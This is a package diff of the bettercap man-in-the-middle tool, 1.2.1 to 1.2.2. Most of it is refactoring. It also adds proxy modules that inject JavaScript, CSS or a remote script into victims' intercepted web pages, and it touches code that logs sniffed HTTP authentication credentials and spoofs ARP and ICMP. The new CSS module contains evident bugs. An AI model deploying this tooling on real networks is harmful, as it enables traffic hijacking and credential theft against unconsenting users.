bettercap 1.2.1 → 1.2.2

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 14c3df538db89404723e56bde2c2a8a92446d8f9
4
- data.tar.gz: 7b48c98712b2c2b879f6e7bfc67529627ba1668d
3
+ metadata.gz: 54766752ef4193add9d30875e978316b4489c9f2
4
+ data.tar.gz: dd4a0475d6156464f1bbb7b2b0bc55be09e32afc
5
5
  SHA512:
6
- metadata.gz: c35e2b12effaa67a2236427922d0f7af6d200f177304e3d2f09adb3b38db1b7c7cc6b0c7f9f6ee7f70a3d8155a99f8dedcc0351f099871819357277338e54148
7
- data.tar.gz: 1477fda71236367e364c3e392f2b44b1edbef1d19f3a792231d0a32bc613500a9b6dea86881d699a92b1afcfe5a58a61c604963df3ad16eecc99abb2a60d3d09
6
+ metadata.gz: e073d1158b3cc7f6125d7e7b98cf6f41712c491d4687418bed7d647a2435c1ff10f8c41cda3987a19c894a33351648c1fdda1e5db090286280e8f7224136e284
7
+ data.tar.gz: 538f6f46aaf601822f7b582e5da4a3432bbe57f3bb17f71f197163ea46447cac9377f909dcf98fca39cd18f67385cb2299a528a495d0137ade3530e25364e93a
data/README.md CHANGED
@@ -1,8 +1,7 @@
1
- ![logo](http://www.bettercap.org/assets/img/navbar-logo.png)
2
-
1
+ ![logo](http://www.bettercap.org/assets/img/homepage-logo.png)
3
2
  http://www.bettercap.org/
4
3
 
5
- [![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap) [![Code Climate](https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg)](https://codeclimate.com/github/evilsocket/bettercap) [![Join the chat at https://gitter.im/evilsocket/bettercap-proxy-modules](https://badges.gitter.im/evilsocket/bettercap-proxy-modules.svg)](https://gitter.im/evilsocket/bettercap-proxy-modules?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
4
+ [![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap) [![Code Climate](https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg)](https://codeclimate.com/github/evilsocket/bettercap) [![Join the chat at https://gitter.im/evilsocket/bettercap](https://badges.gitter.im/evilsocket/bettercap.svg)](https://gitter.im/evilsocket/bettercap?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
6
5
  ---
7
6
 
8
7
  **bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic
data/lib/bettercap.rb CHANGED
@@ -28,8 +28,8 @@ require 'bettercap/update_checker'
28
28
  require 'bettercap/error'
29
29
  require 'bettercap/loader'
30
30
  require 'bettercap/options'
31
- require 'bettercap/arp_reader'
32
- require 'bettercap/packet_queue'
31
+ require 'bettercap/network/arp_reader'
32
+ require 'bettercap/network/packet_queue'
33
33
  require 'bettercap/discovery/thread'
34
34
  require 'bettercap/discovery/agents/base'
35
35
  require 'bettercap/discovery/agents/arp'
@@ -42,9 +42,9 @@ require 'bettercap/factories/spoofer'
42
42
  require 'bettercap/factories/parser'
43
43
  require 'bettercap/logger'
44
44
  require 'bettercap/shell'
45
- require 'bettercap/network'
45
+ require 'bettercap/network/network'
46
46
  require 'bettercap/version'
47
- require 'bettercap/target'
47
+ require 'bettercap/network/target'
48
48
  require 'bettercap/sniffer/sniffer'
49
49
  require 'bettercap/firewalls/redirection'
50
50
  require 'bettercap/proxy/stream_logger'
@@ -100,7 +100,7 @@ class Context
100
100
  end
101
101
  Logger.debug "--------------------------------\n"
102
102
 
103
- @packets = PacketQueue.new( @ifconfig[:iface], 4 )
103
+ @packets = Network::PacketQueue.new( @ifconfig[:iface], @options.packet_throttle, 4 )
104
104
  end
105
105
 
106
106
  # Find a target given its +ip+ and +mac+ addresses inside the #targets
@@ -128,7 +128,7 @@ class Context
128
128
  def create_proxies
129
129
  if @options.has_proxy_module?
130
130
  Proxy::Module.register_modules
131
-
131
+
132
132
  raise BetterCap::Error, "#{@options.proxy_module} is not a valid bettercap proxy module." if Proxy::Module.modules.empty?
133
133
  end
134
134
 
@@ -54,6 +54,7 @@ class Thread
54
54
  @ctx.targets.each do |target|
55
55
  msg += " #{target}\n"
56
56
  end
57
+ msg += "\n"
57
58
  Logger.raw msg
58
59
  end
59
60
 
@@ -8,6 +8,7 @@ This project is released under the GPL 3 license.
8
8
  require 'bettercap/error'
9
9
 
10
10
  module BetterCap
11
+ module Network
11
12
  # This class is responsible for reading the computer ARP table.
12
13
  class ArpReader
13
14
  # Parse the current ARP cache and return a list of BetterCap::Target
@@ -76,3 +77,4 @@ class ArpReader
76
77
  end
77
78
  end
78
79
  end
80
+ end
File without changes
@@ -13,7 +13,7 @@ require 'thread'
13
13
 
14
14
  module BetterCap
15
15
  # Handles various network related tasks.
16
- class Network
16
+ module Network
17
17
  class << self
18
18
  # Return true if +ip+ is a valid IP address, otherwise false.
19
19
  def is_ip?(ip)
@@ -8,15 +8,20 @@ This project is released under the GPL 3 license.
8
8
  require 'bettercap/error'
9
9
 
10
10
  module BetterCap
11
+ module Network
11
12
  # This class is responsible for sending various network packets.
12
13
  class PacketQueue
13
14
  # Initialize the PacketQueue, it will spawn +nworkers+ thread and
14
15
  # will send packets to the +iface+ network interface.
15
- def initialize( iface, nworkers = 4 )
16
+ # If +packet_throttle+ is different than 0.0, it will be used as
17
+ # a delay between each packet to be sent.
18
+ def initialize( iface, packet_throttle = 0.0, nworkers = 4 )
16
19
  @iface = iface
17
20
  @nworkers = nworkers
21
+ @throttle = packet_throttle;
18
22
  @running = true
19
- @injector = PacketFu::Inject.new(:iface => iface)
23
+ @stream = Pcap.open_live( iface, 0xffff, false , 1 )
24
+ @mutex = Mutex.new
20
25
  @udp = UDPSocket.new
21
26
  @queue = Queue.new
22
27
  @workers = (0...nworkers).map { ::Thread.new { worker } }
@@ -49,14 +54,17 @@ class PacketQueue
49
54
 
50
55
  def dispatch_udp_packet(packet)
51
56
  ip, port, data = packet
52
- Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
53
- @udp.send( data, 0, ip, port )
57
+ @mutex.synchronize {
58
+ Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
59
+ @udp.send( data, 0, ip, port )
60
+ }
54
61
  end
55
62
 
56
63
  def dispatch_raw_packet(packet)
57
- Logger.debug "Sending #{packet.class.name} packet ..."
58
- @injector.array = [packet.headers[0].to_s]
59
- @injector.inject
64
+ @mutex.synchronize {
65
+ Logger.debug "Sending #{packet.class.name} packet ..."
66
+ @stream.inject( packet.headers[0].to_s )
67
+ }
60
68
  end
61
69
 
62
70
  def worker
@@ -77,6 +85,9 @@ class PacketQueue
77
85
  when Object
78
86
  dispatch_raw_packet(packet)
79
87
  end
88
+
89
+ sleep(@throttle) if @throttle != 0.0
90
+
80
91
  rescue Exception => e
81
92
  Logger.debug "#{self.class.name} ( #{packet.class.name} ) : #{e.message}"
82
93
 
@@ -94,3 +105,4 @@ class PacketQueue
94
105
  end
95
106
  end
96
107
  end
108
+ end
@@ -13,6 +13,7 @@ require 'bettercap/logger'
13
13
  require 'socket'
14
14
 
15
15
  module BetterCap
16
+ module Network
16
17
  # This class represents a target, namely a single endpoint device on the
17
18
  # network.
18
19
  class Target
@@ -153,3 +154,4 @@ private
153
154
  end
154
155
  end
155
156
  end
157
+ end
@@ -83,6 +83,8 @@ class Options
83
83
  # If true, bettercap won't forward packets for any target, causing
84
84
  # connections to be killed.
85
85
  attr_accessor :kill
86
+ # If different than 0, this time will be used as a delay while sending packets.
87
+ attr_accessor :packet_throttle
86
88
 
87
89
  # Create a BetterCap::Options class instance using the specified network interface.
88
90
  def initialize( iface )
@@ -97,6 +99,7 @@ class Options
97
99
  @arpcache = false
98
100
  @no_target_nbns = false
99
101
  @kill = false
102
+ @packet_throttle = 0.0
100
103
 
101
104
  @ignore = nil
102
105
 
@@ -250,13 +253,8 @@ class Options
250
253
  ctx.options.proxy_pem_file = File.expand_path v
251
254
  end
252
255
 
253
- opts.on( '--proxy-module MODULE', 'Ruby proxy module to load.' ) do |v|
254
- ctx.options.proxy = true
255
- ctx.options.proxy_module = File.expand_path v
256
-
257
- require ctx.options.proxy_module
258
-
259
- Proxy::Module.register_options(opts)
256
+ opts.on( '--proxy-module MODULE', 'Ruby proxy module to load, either a custom file or one of the following: ' + Proxy::Module.available.join(', ') + ' .' ) do |v|
257
+ Proxy::Module.load(ctx, opts, v)
260
258
  end
261
259
 
262
260
  opts.on( '--custom-proxy ADDRESS', 'Use a custom HTTP upstream proxy instead of the builtin one.' ) do |v|
@@ -293,6 +291,11 @@ class Options
293
291
  ctx.options.kill = true
294
292
  end
295
293
 
294
+ opts.on( '--packet-throttle NUMBER', 'Number of seconds ( can be a decimal number ) to wait between each packet to be sent.' ) do |v|
295
+ ctx.options.packet_throttle = v.to_f
296
+ raise BetterCap::Error, "Invalid packet throttle value specified." if ctx.options.packet_throttle <= 0.0
297
+ end
298
+
296
299
  opts.on( '--check-updates', 'Will check if any update is available and then exit.' ) do
297
300
  ctx.options.check_updates = true
298
301
  end
@@ -407,7 +410,7 @@ class Options
407
410
  Logger.warn "Invalid target specified: #{target}"
408
411
  end
409
412
 
410
- valid_targets.map { |target| Target.new(target) }
413
+ valid_targets.map { |target| Network::Target.new(target) }
411
414
  end
412
415
 
413
416
  # Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
@@ -15,7 +15,44 @@ module BetterCap
15
15
  module Proxy
16
16
  # Base class for transparent proxy modules.
17
17
  class Module
18
+ @@path = File.dirname(__FILE__) + '/modules/'
18
19
  @@modules = []
20
+
21
+ # Return a list of available builtin proxy module names.
22
+ def self.available
23
+ avail = []
24
+ Dir.foreach( @@path ) do |file|
25
+ if file =~ /.rb/
26
+ avail << file.gsub('.rb','')
27
+ end
28
+ end
29
+ avail
30
+ end
31
+
32
+ # Check if the module with +name+ is within the builtin ones.
33
+ def self.is_builtin?(name)
34
+ self.available.include?(name)
35
+ end
36
+
37
+ # Load the module with +name+.
38
+ def self.load(ctx, opts, name)
39
+ ctx.options.proxy = true
40
+
41
+ if self.is_builtin?(name)
42
+ ctx.options.proxy_module = "#{@@path}/#{name}.rb"
43
+ else
44
+ ctx.options.proxy_module = File.expand_path(name)
45
+ end
46
+
47
+ begin
48
+ require ctx.options.proxy_module
49
+
50
+ self.register_options(opts)
51
+ rescue LoadError
52
+ raise BetterCap::Error, "Invalid proxy module name '#{name}' ."
53
+ end
54
+ end
55
+
19
56
  # Return a list of registered modules.
20
57
  def self.modules
21
58
  @@modules
@@ -0,0 +1,60 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+ class Injectcss < BetterCap::Proxy::Module
13
+ @@cssdata = nil
14
+ @@cssurl = nil
15
+
16
+ def self.on_options(opts)
17
+ opts.separator ""
18
+ opts.separator "Inject CSS Proxy Module Options:"
19
+ opts.separator ""
20
+
21
+ opts.on( '--css-data STRING', 'CSS code to be injected.' ) do |v|
22
+ @@cssdata = v
23
+ unless @@jsdata.include?("<style>")
24
+ @@cssdata = "<style>\n#{@@cssdata}\n</style>"
25
+ end
26
+ end
27
+
28
+ opts.on( '--css-file PATH', 'Path of the CSS file to be injected.' ) do |v|
29
+ filename = File.expand_path v
30
+ raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename)
31
+ @@cssdata = File.read( filename )
32
+ unless @@cssdata.include?("<style>")
33
+ @@cssdata = "<style>\n#{@@cssdata}\n</style>"
34
+ end
35
+ end
36
+
37
+ opts.on( '--css-url URL', 'URL the CSS file to be injected.' ) do |v|
38
+ @@cssurl = v
39
+ end
40
+ end
41
+
42
+ def on_request( request, response )
43
+ # is it a html page?
44
+ if response.content_type =~ /^text\/html.*/
45
+ # check command line arguments.
46
+ if @@cssdata.nil? and @@cssurl.nil?
47
+ BetterCap::Logger.warn "No --css-file or --css-url options specified, this proxy module won't work."
48
+ else
49
+ BetterCap::Logger.info "Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
50
+ # inject URL
51
+ if @@cssdata.nil?
52
+ response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
53
+ # inject data
54
+ else
55
+ response.body.sub!( '</head>', "#{@@cssdata}</head>" )
56
+ end
57
+ end
58
+ end
59
+ end
60
+ end
@@ -0,0 +1,60 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+ class Injectjs < BetterCap::Proxy::Module
13
+ @@jsdata = nil
14
+ @@jsurl = nil
15
+
16
+ def self.on_options(opts)
17
+ opts.separator ""
18
+ opts.separator "Inject JS Proxy Module Options:"
19
+ opts.separator ""
20
+
21
+ opts.on( '--js-data STRING', 'Javascript code to be injected.' ) do |v|
22
+ @@jsdata = v
23
+ unless @@jsdata.include?("<script")
24
+ @@jsdata = "<script type=\"text/javascript\">\n#{@@jsdata}\n</script>"
25
+ end
26
+ end
27
+
28
+ opts.on( '--js-file PATH', 'Path of the javascript file to be injected.' ) do |v|
29
+ filename = File.expand_path v
30
+ raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename)
31
+ @@jsdata = File.read( filename )
32
+ unless @@jsdata.include?("<script")
33
+ @@jsdata = "<script type=\"text/javascript\">\n#{@@jsdata}\n</script>"
34
+ end
35
+ end
36
+
37
+ opts.on( '--js-url URL', 'URL the javascript file to be injected.' ) do |v|
38
+ @@jsurl = v
39
+ end
40
+ end
41
+
42
+ def on_request( request, response )
43
+ # is it a html page?
44
+ if response.content_type =~ /^text\/html.*/
45
+ # check command line arguments.
46
+ if @@jsdata.nil? and @@jsurl.nil?
47
+ BetterCap::Logger.warn "No --js-file or --js-url options specified, this proxy module won't work."
48
+ else
49
+ BetterCap::Logger.info "Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
50
+ # inject URL
51
+ if @@jsdata.nil?
52
+ response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
53
+ # inject data
54
+ else
55
+ response.body.sub!( '</head>', "#{@@jsdata}</head>" )
56
+ end
57
+ end
58
+ end
59
+ end
60
+ end
@@ -13,9 +13,6 @@ This project is released under the GPL 3 license.
13
13
  require 'socket'
14
14
  require 'uri'
15
15
 
16
- require 'bettercap/logger'
17
- require 'bettercap/network'
18
-
19
16
  module BetterCap
20
17
  module Proxy
21
18
  # Transparent proxy class.
@@ -34,10 +34,10 @@ class Httpauth < Base
34
34
  decoded = Base64.decode64(encoded)
35
35
  user, pass = decoded.split(':')
36
36
 
37
- StreamLogger.log_raw( pkt, '[HTTP BASIC AUTH]'.green + " http://#{hostname}#{path} - username=#{user} password=#{pass}".yellow )
37
+ StreamLogger.log_raw( pkt, 'HTTP BASIC AUTH', "http://#{hostname}#{path} - username=#{user} password=#{pass}".yellow )
38
38
 
39
39
  elsif line =~ /Authorization:\s*Digest\s+(.+)/i
40
- StreamLogger.log_raw( pkt, '[HTTP DIGEST AUTH]'.green + " http://#{hostname}#{path}\n#{$1}".yellow )
40
+ StreamLogger.log_raw( pkt, 'HTTP DIGEST AUTH', "http://#{hostname}#{path}\n#{$1}".yellow )
41
41
  end
42
42
  end
43
43
  end
@@ -10,11 +10,6 @@ This project is released under the GPL 3 license.
10
10
 
11
11
  =end
12
12
  require 'bettercap/spoofers/base'
13
- require 'bettercap/error'
14
- require 'bettercap/context'
15
- require 'bettercap/network'
16
- require 'bettercap/logger'
17
- require 'colorize'
18
13
 
19
14
  module BetterCap
20
15
  module Spoofers
@@ -90,7 +90,7 @@ private
90
90
  def update_gateway!
91
91
  hw = Network.get_hw_address( @ctx.ifconfig, @ctx.gateway )
92
92
  raise BetterCap::Error, "Couldn't determine router MAC" if hw.nil?
93
- @gateway = Target.new( @ctx.gateway, hw )
93
+ @gateway = Network::Target.new( @ctx.gateway, hw )
94
94
 
95
95
  Logger.info "[#{'GATEWAY'.green}] #{@gateway.to_s(false)}"
96
96
  end
@@ -10,11 +10,6 @@ This project is released under the GPL 3 license.
10
10
 
11
11
  =end
12
12
  require 'bettercap/spoofers/base'
13
- require 'bettercap/error'
14
- require 'bettercap/context'
15
- require 'bettercap/network'
16
- require 'bettercap/logger'
17
- require 'colorize'
18
13
  require 'net/dns'
19
14
  require 'resolv'
20
15
 
@@ -123,7 +118,7 @@ class Icmp < Base
123
118
  else
124
119
  @ctx.firewall.enable_forwarding(true) unless @forwarding
125
120
  end
126
-
121
+
127
122
  @ctx.firewall.enable_send_redirects(false)
128
123
 
129
124
  @spoof_thread = Thread.new { icmp_spoofer }
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
  module BetterCap
13
13
  # Current version of bettercap.
14
- VERSION = '1.2.1'
14
+ VERSION = '1.2.2'
15
15
  # Program banner.
16
16
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
17
17
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.2.1
4
+ version: 1.2.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-01-13 00:00:00.000000000 Z
11
+ date: 2016-01-16 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -90,8 +90,6 @@ files:
90
90
  - CONTRIBUTING.md
91
91
  - LICENSE.md
92
92
  - README.md
93
- - TODO.md
94
- - lib/bettercap/arp_reader.rb
95
93
  - lib/bettercap/banner
96
94
  - lib/bettercap/context.rb
97
95
  - lib/bettercap/discovery/agents/arp.rb
@@ -108,15 +106,19 @@ files:
108
106
  - lib/bettercap/firewalls/osx.rb
109
107
  - lib/bettercap/firewalls/redirection.rb
110
108
  - lib/bettercap/httpd/server.rb
111
- - lib/bettercap/hw-prefixes
112
109
  - lib/bettercap/loader.rb
113
110
  - lib/bettercap/logger.rb
114
111
  - lib/bettercap/monkey/packetfu/utils.rb
115
- - lib/bettercap/network.rb
112
+ - lib/bettercap/network/arp_reader.rb
113
+ - lib/bettercap/network/hw-prefixes
114
+ - lib/bettercap/network/network.rb
115
+ - lib/bettercap/network/packet_queue.rb
116
+ - lib/bettercap/network/target.rb
116
117
  - lib/bettercap/options.rb
117
- - lib/bettercap/packet_queue.rb
118
118
  - lib/bettercap/proxy/certstore.rb
119
119
  - lib/bettercap/proxy/module.rb
120
+ - lib/bettercap/proxy/modules/injectcss.rb
121
+ - lib/bettercap/proxy/modules/injectjs.rb
120
122
  - lib/bettercap/proxy/proxy.rb
121
123
  - lib/bettercap/proxy/request.rb
122
124
  - lib/bettercap/proxy/response.rb
@@ -139,7 +141,6 @@ files:
139
141
  - lib/bettercap/spoofers/base.rb
140
142
  - lib/bettercap/spoofers/icmp.rb
141
143
  - lib/bettercap/spoofers/none.rb
142
- - lib/bettercap/target.rb
143
144
  - lib/bettercap/update_checker.rb
144
145
  - lib/bettercap/version.rb
145
146
  - lib/bettercap.rb
data/TODO.md DELETED
@@ -1,30 +0,0 @@
1
- This is a list of TODOs I use to keep track of tasks and upcoming features.
2
-
3
- ---
4
-
5
- - [x] Implement `--ignore ADDR,ADDR,ADDR` option to filter out specific addresses from the targets list.
6
- - [x] HTTP 1.1 chunked response support.
7
- - [x] Ip address to hostname resolution.
8
- - [x] Wrap every class with `module BetterCap` and refactor old code.
9
- - [x] Use StreamLogger for both Proxy and Sniffer traffic.
10
- - [x] Implement `--custom-parser REGEX` option.
11
- - [x] Let `-T|--target` [support MAC addresses](https://github.com/evilsocket/bettercap/issues/82).
12
- - [x] Fix modules structure by folder.
13
- - [x] Document classes with RDoc.
14
- - [x] ICMP Redirect ( double direct )
15
- - [ ] Implement `--mkcert FILENAME` option to create custom HTTPS `crt` files.
16
- - [ ] Implement sslstrip+ support.
17
- - [ ] Rewrite proxy class using [em-proxy](https://github.com/igrigorik/em-proxy) library.
18
- - [ ] HTTP/2 Support.
19
-
20
- **Platform Specific**
21
-
22
- - [ ] *BSD Support.
23
- - [ ] Windows Support? ( OMG PLZ NO! )
24
- - [ ] GNU/Linux [Active packet filtering/injection/etc](https://github.com/evilsocket/bettercap/issues/75) ( maybe using [this](https://github.com/gdelugre/ruby-nfqueue) ).
25
-
26
- **Maybe**
27
-
28
- - [ ] Implement event-driven core plugin infrastructure ( for webui, etc ).
29
- - [ ] Implement web-ui core plugin.
30
- - [ ] IPV6 Support.